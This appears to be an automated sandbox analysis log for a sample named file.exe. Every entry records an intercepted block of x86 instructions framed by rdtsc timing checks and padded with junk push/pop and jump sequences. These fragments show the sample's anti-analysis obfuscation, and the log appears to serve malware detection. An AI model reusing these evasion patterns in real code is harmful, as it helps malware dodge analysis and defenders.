Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0A94 second address: 53E0A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0A9A second address: 53E0A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0A9E second address: 53E0B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77987h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F1F50F77986h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F1F50F7797Eh 0x0000001a jmp 00007F1F50F77985h 0x0000001f popfd 0x00000020 push esi 0x00000021 call 00007F1F50F77987h 0x00000026 pop ecx 0x00000027 pop edi 0x00000028 popad 0x00000029 pop ebp 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F1F50F77982h 0x00000031 sbb ax, D1B8h 0x00000036 jmp 00007F1F50F7797Bh 0x0000003b popfd 0x0000003c push eax 0x0000003d push edx 0x0000003e mov cl, ABh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C00BE second address: 53C00C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C00C2 second address: 53C00C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C00C8 second address: 53C00CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C00CF second address: 53C00E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov edi, 53732D8Ch 0x00000010 mov dl, 96h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C00E2 second address: 53C0114 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1F50CBBC43h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1F50CBBC40h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C0114 second address: 53C0118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C0118 second address: 53C011E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C011E second address: 53C0177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1F50F7797Ch 0x00000009 sbb cl, 00000038h 0x0000000c jmp 00007F1F50F7797Bh 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 jmp 00007F1F50F77984h 0x0000001e mov eax, dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007F1F50F77988h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C0177 second address: 53C017D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C017D second address: 53C0181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C0181 second address: 53C0185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53C0185 second address: 53C01CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b jmp 00007F1F50F77989h 0x00000010 and dword ptr [eax+04h], 00000000h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007F1F50F7797Ah 0x0000001d xor cl, FFFFFF88h 0x00000020 jmp 00007F1F50F7797Bh 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A036C second address: 53A03F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1F50CBBC47h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F1F50CBBC49h 0x0000000f jmp 00007F1F50CBBC3Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F1F50CBBC44h 0x00000020 xor cx, C638h 0x00000025 jmp 00007F1F50CBBC3Bh 0x0000002a popfd 0x0000002b push esi 0x0000002c pop ecx 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 jmp 00007F1F50CBBC43h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A03F5 second address: 53A040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50F77984h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0CCD second address: 53B0CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, 362D9C8Dh 0x0000000b popad 0x0000000c mov dword ptr [esp], ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0CE2 second address: 53B0CF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0F1F second address: 53B0F4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ecx, 60CC736Dh 0x00000011 mov edx, esi 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0F4B second address: 53B0F51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0F51 second address: 53B0F56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0304 second address: 53E033E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1F50F77988h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E033E second address: 53E0342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0342 second address: 53E0348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0348 second address: 53E0373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1F50CBBC3Ch 0x00000008 pop ecx 0x00000009 mov ecx, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F1F50CBBC3Dh 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0373 second address: 53E0386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F7797Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0386 second address: 53E03EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1F50CBBC3Fh 0x00000009 and ax, E93Eh 0x0000000e jmp 00007F1F50CBBC49h 0x00000013 popfd 0x00000014 jmp 00007F1F50CBBC40h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov eax, 67803A13h 0x00000025 call 00007F1F50CBBC48h 0x0000002a pop ecx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E03EE second address: 53E03F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E03F3 second address: 53E044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50CBBC3Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ecx 0x0000000d jmp 00007F1F50CBBC40h 0x00000012 mov eax, dword ptr [76FA65FCh] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007F1F50CBBC43h 0x00000022 jmp 00007F1F50CBBC43h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E044A second address: 53E0496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007F1F50F7797Eh 0x00000010 je 00007F1FC2ABAE65h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F1F50F77987h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0496 second address: 53E04FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f mov bh, cl 0x00000011 popad 0x00000012 popad 0x00000013 xor eax, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 mov bx, D43Eh 0x0000001b popad 0x0000001c and ecx, 1Fh 0x0000001f jmp 00007F1F50CBBC40h 0x00000024 ror eax, cl 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007F1F50CBBC3Ch 0x0000002f or cl, 00000038h 0x00000032 jmp 00007F1F50CBBC3Bh 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E05DD second address: 53E05F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F7797Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539003B second address: 53900F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 mov dl, 11h 0x00000007 pushfd 0x00000008 jmp 00007F1F50CBBC46h 0x0000000d sbb ch, FFFFFFC8h 0x00000010 jmp 00007F1F50CBBC3Bh 0x00000015 popfd 0x00000016 popad 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a jmp 00007F1F50CBBC46h 0x0000001f and esp, FFFFFFF8h 0x00000022 pushad 0x00000023 pushad 0x00000024 mov cx, F5C3h 0x00000028 call 00007F1F50CBBC48h 0x0000002d pop esi 0x0000002e popad 0x0000002f pushfd 0x00000030 jmp 00007F1F50CBBC3Bh 0x00000035 sbb ah, 0000001Eh 0x00000038 jmp 00007F1F50CBBC49h 0x0000003d popfd 0x0000003e popad 0x0000003f xchg eax, ecx 0x00000040 jmp 00007F1F50CBBC3Eh 0x00000045 push eax 0x00000046 pushad 0x00000047 push edx 0x00000048 pop ecx 0x00000049 mov ch, dh 0x0000004b popad 0x0000004c xchg eax, ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 movsx edi, cx 0x00000053 mov dx, si 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53900F0 second address: 539016F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F7797Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F1F50F77986h 0x0000000f push eax 0x00000010 jmp 00007F1F50F7797Bh 0x00000015 xchg eax, ebx 0x00000016 jmp 00007F1F50F77986h 0x0000001b mov ebx, dword ptr [ebp+10h] 0x0000001e pushad 0x0000001f mov ecx, 023DA94Dh 0x00000024 mov bl, ch 0x00000026 popad 0x00000027 push ecx 0x00000028 pushad 0x00000029 mov edx, esi 0x0000002b mov cx, 2D03h 0x0000002f popad 0x00000030 mov dword ptr [esp], esi 0x00000033 pushad 0x00000034 mov cx, 397Bh 0x00000038 jmp 00007F1F50F77980h 0x0000003d popad 0x0000003e mov esi, dword ptr [ebp+08h] 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539016F second address: 5390176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ch, dl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390176 second address: 53901B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1F50F77986h 0x0000000f mov dword ptr [esp], edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F1F50F77988h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53901B5 second address: 53901CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53901CC second address: 53901D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53901D0 second address: 53901D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53901D6 second address: 53901DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53901DB second address: 5390257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1F50CBBC46h 0x0000000a or ch, 00000048h 0x0000000d jmp 00007F1F50CBBC3Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 je 00007F1FC284A043h 0x0000001c jmp 00007F1F50CBBC46h 0x00000021 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F1F50CBBC3Dh 0x00000031 or cx, B816h 0x00000036 jmp 00007F1F50CBBC41h 0x0000003b popfd 0x0000003c movzx eax, di 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390257 second address: 539025D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539025D second address: 5390261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390261 second address: 5390290 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F1FC2B05D38h 0x0000000e pushad 0x0000000f call 00007F1F50F7797Eh 0x00000014 mov esi, 1EB07381h 0x00000019 pop ecx 0x0000001a mov dl, 64h 0x0000001c popad 0x0000001d mov edx, dword ptr [esi+44h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390290 second address: 5390296 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390296 second address: 53902B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50F77989h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380811 second address: 53808FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 jmp 00007F1F50CBBC3Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F1F50CBBC3Eh 0x00000017 or si, 6578h 0x0000001c jmp 00007F1F50CBBC3Bh 0x00000021 popfd 0x00000022 mov si, F4AFh 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F1F50CBBC3Eh 0x00000031 sub si, FFD8h 0x00000036 jmp 00007F1F50CBBC3Bh 0x0000003b popfd 0x0000003c pushfd 0x0000003d jmp 00007F1F50CBBC48h 0x00000042 adc cl, 00000038h 0x00000045 jmp 00007F1F50CBBC3Bh 0x0000004a popfd 0x0000004b popad 0x0000004c mov bx, si 0x0000004f popad 0x00000050 and esp, FFFFFFF8h 0x00000053 pushad 0x00000054 jmp 00007F1F50CBBC40h 0x00000059 mov edi, eax 0x0000005b popad 0x0000005c xchg eax, ebx 0x0000005d jmp 00007F1F50CBBC3Ch 0x00000062 push eax 0x00000063 jmp 00007F1F50CBBC3Bh 0x00000068 xchg eax, ebx 0x00000069 jmp 00007F1F50CBBC46h 0x0000006e xchg eax, esi 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F1F50CBBC47h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53808FE second address: 5380945 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 2Ch 0x00000005 pushfd 0x00000006 jmp 00007F1F50F77980h 0x0000000b jmp 00007F1F50F77985h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1F50F77983h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380945 second address: 5380962 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380962 second address: 53809C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1F50F77987h 0x00000008 pop eax 0x00000009 mov edi, 4B9423ECh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 movsx edx, ax 0x00000016 pushfd 0x00000017 jmp 00007F1F50F7797Ah 0x0000001c xor ax, 6208h 0x00000021 jmp 00007F1F50F7797Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov esi, dword ptr [ebp+08h] 0x0000002b jmp 00007F1F50F77986h 0x00000030 sub ebx, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 mov bh, 9Ch 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53809C8 second address: 5380A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c call 00007F1F50CBBC44h 0x00000011 mov ah, 96h 0x00000013 pop ebx 0x00000014 pushad 0x00000015 mov edi, esi 0x00000017 push esi 0x00000018 pop edx 0x00000019 popad 0x0000001a popad 0x0000001b je 00007F1FC28515CCh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380A03 second address: 5380A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380A08 second address: 5380A53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F1F50CBBC3Bh 0x00000019 sub esi, 4A74931Eh 0x0000001f jmp 00007F1F50CBBC49h 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380A53 second address: 5380A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380A58 second address: 5380A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50CBBC3Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380A66 second address: 5380ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a pushad 0x0000000b mov al, dl 0x0000000d pushfd 0x0000000e jmp 00007F1F50F77986h 0x00000013 and esi, 77A08B78h 0x00000019 jmp 00007F1F50F7797Bh 0x0000001e popfd 0x0000001f popad 0x00000020 je 00007F1FC2B0D27Ch 0x00000026 jmp 00007F1F50F77986h 0x0000002b test byte ptr [76FA6968h], 00000002h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F1F50F7797Ah 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380ACE second address: 5380AD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380AD4 second address: 5380ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380ADA second address: 5380ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380ADE second address: 5380AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380AE2 second address: 5380B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F1FC2851502h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1F50CBBC3Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380B02 second address: 5380B08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380B08 second address: 5380B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 mov cx, 695Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov edx, dword ptr [ebp+0Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380B1D second address: 5380B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380B21 second address: 5380B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380B27 second address: 5380B86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1F50F77984h 0x00000009 sub esi, 6B4714F8h 0x0000000f jmp 00007F1F50F7797Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F1F50F77988h 0x0000001b adc ch, 00000058h 0x0000001e jmp 00007F1F50F7797Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov bx, AC46h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380B86 second address: 5380B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
